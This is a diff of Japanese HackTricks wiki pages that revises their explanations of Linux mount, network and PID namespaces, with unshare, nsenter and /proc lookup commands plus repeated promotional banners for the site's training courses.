{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,61 +1,62 @@
# マウント名前空間
# マウントネームスペース
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## 基本情報
マウント名前空間は、Linuxカーネルの機能であり、一群のプロセスが見るファイルシステムマウントポイントを分離する機能を提供します。各マウント名前空間には独自のファイルシステムマウントポイントがあり、**1つの名前空間内でのマウントポイントの変更は他の名前空間に影響を与えません**。これにより、異なるマウント名前空間で実行されるプロセスは、ファイルシステム階層の異なるビューを持つことができます。
マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**あるネームスペースのマウントポイントの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。
マウント名前空間は、コンテナ化において特に有用であり、各コンテナが他のコンテナやホストシステムから分離された独自のファイルシステムと構成を持つべきです。
マウントネームスペースは特にコンテナ化において便利であり、各コンテナは他のコンテナやホストシステムから隔離された独自のファイルシステムと設定を持つべきです。
### 動作方法
### 仕組み
1. 新しいマウント名前空間が作成されると、**親名前空間からマウントポイントのコピーが初期化**されます。これは、作成時に新しい名前空間が親と同じファイルシステムビューを共有していることを意味します。ただし、名前空間内のマウントポイントに対する後続の変更は、親または他の名前空間に影響を与えません。
2. プロセスが名前空間内のマウントポイントを変更すると(ファイルシステムをマウントまたはアンマウントするなど)、**その名前空間内での変更はローカル**であり、他の名前空間に影響を与えません。これにより、各名前空間が独自のファイルシステム階層を持つことができます。
3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`CLONE_NEWNS`フラグを使用して`clone()`システムコールを使用して新しい名前空間を作成したりすることができます。プロセスが新しい名前空間に移動したり作成したりすると、その名前空間に関連付けられたマウントポイントを使用し始めます。
4. **ファイルディスクリプタとinodeは名前空間間で共有**されるため、1つの名前空間のプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、そのファイルディスクリプタを別の名前空間のプロセスに**渡す**ことができ、**両方のプロセスが同じファイルにアクセス**できます。ただし、マウントポイントの違いにより、両方の名前空間でのファイルのパスが同じでない場合があります。
1. 新しいマウントネームスペースが作成されると、それは**親ネームスペースからのマウントポイントのコピーで初期化されます**。これは、作成時に新しいネームスペースが親と同じファイルシステムのビューを共有することを意味します。しかし、その後のネームスペース内のマウントポイントへの変更は、親や他のネームスペースに影響を与えません。
2. プロセスがそのネームスペース内のマウントポイントを変更すると、例えばファイルシステムをマウントまたはアンマウントする場合、**変更はそのネームスペースにローカルであり**、他のネームスペースには影響を与えません。これにより、各ネームスペースは独自の独立したファイルシステム階層を持つことができます。
3. プロセスは`setns()`システムコールを使用してネームスペース間を移動するか、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成できます。プロセスが新しいネームスペースに移動するか、作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。
4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、あるネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、そのファイルディスクリプタを別のネームスペースのプロセスに**渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。
## Lab:
## ラボ:
### 異なる名前空間を作成する
### 異なるネームスペースを作成する
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
`unshare`を`-f`オプションなしで実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に示されています:
`unshare``-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1により、その名前空間のクリーンアップがトリガーされます。その後、Linuxカーネルはその名前空間でのPID割り当てを無効にします。
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペースでの PID 割り当てを無効にします。
2. **結果**
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「Cannot allocate memory」エラーが発生します。
- 新しいネームスペース内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確認することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作するようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -63,12 +64,12 @@ sudo unshare -m [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### すべてのマウント名前空間を見つける
### すべてのマウントネームスペースを見つける
{% code overflow="wrap" %}
```bash
@ -76,15 +77,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### マウント名前空間に入る
{% endcode %}
### マウントネームスペースに入る
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に**ディスクリプタ**`/proc/self/ns/mnt`のような)を指すことなしに**入ることはできません**。
また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/mnt`)、他の名前空間に**入ることはできません**。
新しいマウントは名前空間内でのみアクセス可能なため、名前空間には名前空間からのみアクセス可能な機密情報が含まれている可能性があります。
新しいマウントは名前空間内でのみアクセス可能であるため、名前空間にはそれからのみアクセス可能な機密情報が含まれている可能性があります。
### 何かをマウントする
```bash
@ -104,16 +105,17 @@ ls /tmp/mount_ns_example/test # Doesn't exist
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**する。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# ネットワーク名前空間
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## 基本情報
ネットワーク名前空間は、Linuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つようにする分離を提供します。この分離は、コンテナ化などのさまざまなシナリオで有用であり、各コンテナが他のコンテナやホストシステムとは独立したネットワーク構成を持つ必要がある場合に役立ちます。
ネットワーク名前空間は、ネットワークスタックの隔離を提供するLinuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことを可能にします。この隔離は、各コンテナが他のコンテナやホストシステムから独立したネットワーク構成を持つべきであるコンテナ化など、さまざまなシナリオで有用です。
### 動作方法:
### 仕組み:
1. 新しいネットワーク名前空間が作成されると、**完全に離されたネットワークスタック**が開始され、ループバックインターフェースloを除く**ネットワークインターフェースが存在しない**状態となります。これにより、新しいネットワーク名前空間で実行されるプロセスは、デフォルトでは他の名前空間やホストシステムのプロセスと通信できません
2. vethペアなどの**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間や名前空間とホストシステム間のネットワーク接続を確立できます。たとえば、vethペアの一方の端をコンテナのネットワーク名前空間に配置し、他方の端を**ブリッジ**またはホスト名前空間の別のネットワークインターフェースに接続して、コンテナにネットワーク接続を提供できます。
3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステムで実行されているかのように動作できます。
4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`CLONE_NEWNET`フラグを使用して`clone()`システムコールを使用して新しい名前空間を作成したりすることができます。プロセスが新しい名前空間に移動したり、新しい名前空間を作成したりすると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。
1. 新しいネットワーク名前空間が作成されると、**完全に離されたネットワークスタック**が開始され、ループバックインターフェースloを除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します
2. vethペアのような**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間で移動させることができます。これにより、名前空間間または名前空間とホストシステム間でネットワーク接続を確立できます。たとえば、vethペアの一端をコンテナのネットワーク名前空間に配置し、もう一端をホスト名前空間の**ブリッジ**または別のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供します。
3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステムで実行されているかのように動作できます。
4. プロセスは、`setns()`システムコールを使用して名前空間間を移動するか、`unshare()`または`clone()`システムコールを`CLONE_NEWNET`フラグと共に使用して新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。
## Lab:
## ラボ:
### 異なる名前空間を作成する
@ -34,27 +35,27 @@ HackTricksをサポートする他の方法:
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の **正確で孤立したビュー** を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
`-f`オプションなしで`unshare`を実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に示されています:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1により、その名前空間のクリーンアップがトリガーされます。その後、Linuxカーネルはその名前空間でPIDの割り当てを無効にします。
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「Cannot allocate memory」エラーが発生します。
- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **解決策**:
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確認することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作するようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -63,7 +64,7 @@ sudo unshare -n [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;あなたのプロセスがどのネームスペースにあるかを確認します
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
@ -76,27 +77,28 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### ネットワーク名前空間に入る
{% endcode %}
### ネットワーク名前空間に入る
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に**ディスクリプタ**`/proc/self/ns/net`のような)を指すことなしに**入ることはできません**
また、**ルートでない限り、他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば、`/proc/self/ns/net`のように)
## 参考文献
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# PIDネームスペース
# PID Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
